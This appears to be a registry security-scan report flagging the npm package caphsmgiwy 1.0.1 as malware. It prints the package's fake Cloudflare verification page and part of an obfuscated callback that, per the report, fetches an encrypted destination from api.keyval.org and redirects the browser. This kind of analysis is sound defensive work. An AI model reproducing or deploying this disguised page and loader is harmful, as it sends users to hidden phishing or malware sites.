registry / caphsmgiwy / 1.0.1

caphsmgiwy@1.0.1

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Opening the HTML and completing or failing the displayed verification triggers concealed remote logic. It retrieves and decrypts a destination before redirecting the browser.

Static reason

One or more suspicious static signals were detected.

Trigger

A user opens index.html and the Turnstile callback fires.

Impact

An attacker can send users to a runtime-selected malicious destination.

Mechanism

Obfuscated remote payload retrieval, decryption, and browser redirect.

Attack narrative

The package presents a Cloudflare-style verification page. Its callback contains an obfuscated loader that obtains a value from api.keyval.org, decodes and decrypts it, constructs a URL, copies current query parameters, and navigates the browser there. The final destination is not contained in the package, so it can be changed remotely after publication.

Rationale

This is a concealed, remotely controlled browser redirect packaged as an npm entry point. The lack of install hooks does not mitigate the delivered phishing or malware-routing behavior.

Evidence

package.jsonindex.html

Network endpoints2

api.keyval.orgchallenges.cloudflare.com

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

The only shipped entry point is a fake verification page with heavily obfuscated code.
The verification callback contacts api.keyval.org, decrypts a server-provided value, and redirects the browser to it.
The remote destination is concealed until runtime, allowing arbitrary phishing or malware delivery.

Evidence against

package.json contains no npm lifecycle scripts.
No local file harvesting or process execution is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedPossibleObfuscation

Manifest

NoLicense

scanned 1 file(s), 33.1 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 169-231text

169 .footer-wrapper { flex-direction: column; align-items: flex-start; }

170 .footer-divider { display: none; }

171 .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }

172 }

173 </style>

174</head>

175<body>

176<div class="main-wrapper" role="main">

177 <div class="main-content">

178 <div class="ch-title-zone"><h1>Performing security verification</h1></div>

179 <p class="ch-description">

180 This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.

181 </p>

182

183 <div class="cf-turnstile-container">

184 <div class="cf-turnstile"

185 data-appearance="always"

186 data-sitekey="0x4AAAAAADrvn4rDM7WVvgPh"

187 data-theme="auto"

188 data-language="en-US"

189 data-callback="onTurnstileComplete"

190 data-error-callback="onTurnstileComplete"

191 data-expired-callback="onTurnstileComplete"

192 data-timeout-callback="onTurnstileComplete"

193 data-unsupported-callback="onTurnstileComplete">

194 </div>

195 </div>

High

Ai Review Evidence

The only shipped entry point is a fake verification page with heavily obfuscated code.

index.htmlView on unpkg · L189

196 </div>

197</div>

198<div class="footer" role="contentinfo">

199 <div class="footer-inner">

200 <div class="footer-wrapper">

201 <div class="clearfix diagnostic-wrapper">

202 <div class="ray-id">Ray ID: <code id="dynamic-ray-id">---------</code></div>

203 </div>

204 <div class="footer-link-wrapper">

205 <span class="footer-text">

206 Performance and Security by

207 <a rel="noopener noreferrer" href="https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a>

208 </span>

209 <span class="footer-divider"></span>

210 <a id="privacy-link" target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a>

211 </div>

212 </div>

213 </div>

214</div>

215<script>

216 (function () {

217 function generateRayId() {

218 const chars = '0123456789abcdef';

219 let result = '';

220 for (let i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];

221 return result;

222 }

223 document.getElementById('dynamic-ray-id').textContent = generateRayId();

224 })();

225

226 function onTurnstileComplete(token) {

High

Ai Review Evidence

The verification callback contacts api.keyval.org, decrypts a server-provided value, and redirects the browser to it.

index.htmlView on unpkg · L226

227 function _0x44e0(_0x3d9edf,_0x43e36f){_0x3d9edf=_0x3d9edf-(-0xd1c+0x6ec+0x704);const _0x2ba699=_0xafff();let _0x5169f8=_0x2ba699[_0x3d9edf];if(_0x44e0['giKerY']===undefined){var _0x3daa0a=function(_0xed6430){const _0x26f640='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xcc2450='',_0x5a5539='',_0x3b7cb8=_0xcc2450+_0x3daa0a,_0x24d5c6=(''+function(){return-0x20ae+-0x142b+0x34d9;})['indexOf']('\x0a')!==-(0x65*0x2c+0x11a7+-0x2302);for(let _0xd02ff7=-0x2a*0x3+0x989+-0x90b*0x1,_0x423128,_0x23ae97,_0x4104fb=-0x19f5+0x2d5+0x1720;_0x23ae97=_0xed6430['charAt'](_0x4104f ...

228 }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

229</script>

230</body>

231</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

package.jsonView file

Lines 1-9json

2 "name": "caphsmgiwy",

3 "version": "1.0.1",

4 "main": "index.html",

5 "files": [

6 "index.html"

Source & flagged code

5 flagged · loading source

index.htmlView file

226function onTurnstileComplete(token) { L227: function _0x44e0(_0x3d9edf,_0x43e36f){_0x3d9edf=_0x3d9edf-(-0xd1c+0x6ec+0x704);const _0x2ba699=_0xafff();let _0x5169f8=_0x2ba699[_0x3d9edf];if(_0x44e0['giKerY']===undefined){var _0... L228: }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

189data-callback="onTurnstileComplete" data-error-callback="onTurnstileComplete" data-expired-callback="onTurnstileComplete" data-timeout-callback="onTurnstileComplete" data-unsupported-callback="onTurnstileComplete"> </div> </div>

High

Ai Review Evidence

The only shipped entry point is a fake verification page with heavily obfuscated code.

index.htmlView on unpkg · L189

Findings

5 High1 Medium2 Low

HighObfuscated Payload Loaderindex.html

HighSemantic Analysis Limitedindex.html

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.html

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowNo License